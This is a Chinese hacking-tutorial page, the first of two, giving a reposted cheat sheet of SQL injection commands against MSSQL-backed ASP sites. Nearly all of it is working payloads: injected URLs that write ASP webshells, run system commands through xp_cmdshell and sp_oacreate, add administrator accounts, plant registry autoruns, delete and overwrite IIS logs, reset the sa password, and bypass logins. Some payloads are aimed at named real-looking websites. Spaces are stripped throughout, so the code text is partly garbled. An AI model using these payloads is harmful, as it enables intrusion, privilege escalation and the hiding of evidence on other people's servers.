最详细的SQL注入相关的命令整理 (转)第1/2页_黑客相关教程-查字典教程网
最详细的SQL注入相关的命令整理 (转)第1/2页
最详细的SQL注入相关的命令整理 (转)第1/2页
发布时间:2016-12-29 来源:查字典编辑
摘要:1、用^转义字符来写ASP(一句话木马)文件的方法:?http://192.168.1.5/display.asp?keyn...

1、用^转义字符来写ASP(一句话木马)文件的方法:

?http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:mu.asp';--

?echo^<%execute^(request^("l"^)^)%^>>c:mu.asp

2、显示SQL系统版本:

?http://192.168.1.5/display.asp?keyno=188and1=(select@@VERSION)

?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,@@version)--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp,行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationDesktopEngineonWindowsNT5.0(Build2195:ServicePack4)'toacolumnofdatatypeint.

/display.asp,行17

3、在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select*frommytablewhereidin(1)”,括号中的值就是我们提交的数据,它的结果与使用“select*frommytablewhereid=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“)and1=1and1in(1”后原来的SQL语句就变成了“select*frommytablewhereidin(1)and1=1and1in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select*frommytablewherenamein('firstsee')”的查询语句造成的。

4、判断xp_cmdshell扩展存储过程是否存在:

http://192.168.1.5/display.asp?keyno=188and1=(selectcount(*)FROMmaster.dbo.sysobjectswherextype='X'ANDname='xp_cmdshell')

恢复xp_cmdshell扩展存储的命令:

http://www.test.com/news/show1.asp?NewsId=125272

;execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:inetputwebxplog70.dll';--

5、向启动组中写入命令行和执行程序:

http://192.168.1.5/display.asp?keyno=188;EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun','help1','REG_SZ','cmd.exe/cnetusertestptlove/add'

6、查看当前的数据库名称:

?http://192.168.1.5/display.asp?keyno=188and0<>db_name(n)n改成0,1,2,3……就可以跨库了

?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,db_name())--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp,行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'huidahouse'toacolumnofdatatypeint.

/display.asp,行17

7、列出当前所有的数据库名称:

select*frommaster.dbo.sysdatabases列出所有列的记录

selectnamefrommaster.dbo.sysdatabases仅列出name列的记录

8、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:

createTABLEmytmp(infoVARCHAR(400),IDintIDENTITY(1,1)NOTNULL)

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:>c:temp.txt','0','true'

--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'

--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

dropTABLEMYTMP

----------

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

以下是一行里面将WEB用户加到管理员组中:

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

以下是一行中执行EXE程序:

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscript.exeE:bjeea.net.cnscoreftsimagesiis.vbslh1c:>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

SQL下三种执行CMD命令的方法:

先删除7.18号日志:

(1)execmaster.dbo.xp_cmdshell'delC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cdelC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:

?execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

注:

0禁止一切(默认)

1使能访问ACCESS,但是禁止其它

2禁止访问ACCESS,但是使能其他

3使能一切

?这里仅给出sysadmin权限下使用的命令:

select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')

?建立链接数据库'L0op8ack'参考命令:

EXECsp_addlinkedserver'L0op8ack','OLEDBProviderforJet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'

?如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限

sp_addlinkedsrvlogin需要sysadmin或securityadmin权限

最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,

一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,

我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败

需要找一个一般用户可访问的mdb才可以:

?新建链接服务器”L0op8ack”:EXECsp_addlinkedserver'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb';--

?execsp_addlinkedsrvlogin'L0op8ack','false';--或

execsp_addlinkedsrvlogin'L0op8ack','false',NULL,'test1','ptlove';--

?select*FROMOPENQUERY(L0op8ack,'selectshell("cmd.exe/cnetuser")');--

?execsp_droplinkedsrvlogin'L0op8ack','false';--

?execsp_dropserver'L0op8ack';--

再考贝一个其它文件来代替7.18日文件:

(1)execmaster.dbo.xp_cmdshell'copyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccopyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

(3)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cnetuser>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

9、用update来更新表中的数据:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;updateupload.dbo.adminsetpwd='a0b923820dcc509a'whereusername='www';--

www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;

32位MD5值为:,密码为

10、利用表内容导成文件功能

SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

命令行格式如下:

bcp"select*fromtemp"queryoutc:inetpubwwwrootruncommand.asp–c–Slocalhost–Usa–Pupload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法

?创建表:

'and1=1unionselect1,2,3,4;createtable[dbo].[cyfd]([gyfd][char](255))--

?往表里播入数据:

'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)selecttop1namefromupload.dbo.sysobjectswherextype='U'andstatus>0,@resultoutputinsertintocyfd(gyfd)values(@result);--

'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--

?从表里读取数据:

'and1=(selectcount(*)fromcyfdwheregyfd>1)--

?删除临时表:

';droptablecyfd;--

12、通过SQL语句直接更改sa的密码:

?updatemaster.dbo.sysxloginssetpassword=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FCwheresid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

?查看本机所有的数据库用户名:

select*frommaster.dbo.sysxlogins

selectname,sid,password,dbidfrommaster.dbo.sysxlogins

?更改sa口令方法:用sql综合利用工具连接后,执行命令:

execsp_passwordNULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构:

?select*fromdvbbs.dbo.sysobjectswherextype='U'andstatus>0

?select*fromdvbbs.dbo.syscolumnswhereid=1426104121

14、手工备份当前数据库:

完全备份:

;declare@asysname,@snvarchar(4000)

select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHformAT--

差异备份:

;declare@asysname,@snvarchar(4000)

select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHDIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test:

execmaster.dbo.sp_addlogintest,ptlove

execmaster.dbo.sp_addsrvrolemembertest,sysadmin

cmd.exe/cisql-E/Ualma/P/iK:test.qry

16、select*fromChouYFD.dbo.sysobjectswherextype='U'andstatus>0

就可以列出库ChouYFD中所有的用户建立的表名。

selectname,idfromChouYFD.dbo.sysobjectswherextype='U'andstatus>0

17、

?http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select*fromrdweb.dbo.syscolumns(whereid=1234)

列出rdweb库中所有表中的字段名称

?select*fromdvbbs.dbo.syscolumnswhereid=5575058

列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:deletefromDv_topicwhereboardid=5andtopicid=7978

19、绕过登录验证进入后台的方法整理:

1)'or''='

2)'or1=1--

3)'or'a'='a--

4)'or'='or'

5)"or1=1--

6)or1=1--

7)or'a='a

8)"or"a"="a

9)')or('a'='a

10)")or("a"="a

11))or(1=1

12)'or''='

13)人气%'and1=1and'%'='

20、寻找网站路径的方法汇总:

1)查看WEB网站安装目录命令:

?cscriptc:inetpubadminscriptsadsutil.vbsenumw3svc/2/root>c:test1.txt(将2换成1、3、4、5试试)

typec:test1.txt

delc:test1.txt

在NBSI下可以直接显示运行结果,所以不用导出到文件

2)在网站上随便找到一个图片的名字123.jpg

然后写进批处理程序123.bat:

d:

dir123.jpg/s>c:123.txt

e:

dir123.jpg/s>>c:123.txt

f:

dir123.jpg/s>>c:123.txt

执行后typec:123.txt

这样来分析网站的路径

3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?

将执行命令输出结果到

%windir%helpiishelpcommon404b.htm或者500.asp

注意输出前Backup这两个文件

如:

dirc:>%windir%helpiishelpcommon404b.htm

然后随便输入一个文件来访问:http://目标ip/2.asp

4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots获取WEB路径

2003系统:xp_regread读取,未找到方法

如:

(1)新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;createtable[dbo].[cyfd]([gyfd][char](255))--

(2)把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--

(3)还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844and1=(selectcount(*)fromcyfdwheregyfd>1)

Source:.NetSqlClientDataProvider

Description:将varchar值'Y:Web烟台人才热线后台管理系统,,201'转换为数据类型为int的列时发生语法错误。

TargeSite:BooleanRead()哈哈哈。。路径暴露了。。

(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;droptablecyfd;--

5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%helpiishelpcommon404b.htm或者500.asp页面

regedit命令说明:

Regedit/L:system/R:user/Efilename.regRegpath

参数含义:

/L:system指定System.dat文件所在的路径。

/R:user指定User.dat文件所在的路径。

/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。

Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit/L:C:windows/R:C:windows/eregedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit/ED:regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

regedit/sc:adam.reg(导入c:adam.reg文件至注册表)

regedit/ec:web.reg(备份全部注册内容到c:web.reg中)

针对win2000系统:C:>regedit/e%windir%helpiishelpcommon404b.htm"HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots"

然后http://目标IP/2.asp

针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。

6)虚拟主机下%SystemRoot%system32inetsrvMetaBack下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。

7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:

我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:

?建立虚拟目录win,指向c:winntsystem32:execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsmkwebdir.vbs-clocalhost-w"l"-v"win","c:winntsystem32"'

?让win目录具有解析asp脚本权限:execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/win/Accessexecute"true"–s:'

?删除虚拟目录win:execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbsdeletew3svc/1/root/win/'

?测试:http://127.0.0.1/win/test.asp

当前1/2页12下一页阅读全文

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新黑客相关学习
    热门黑客相关学习
    编程开发子分类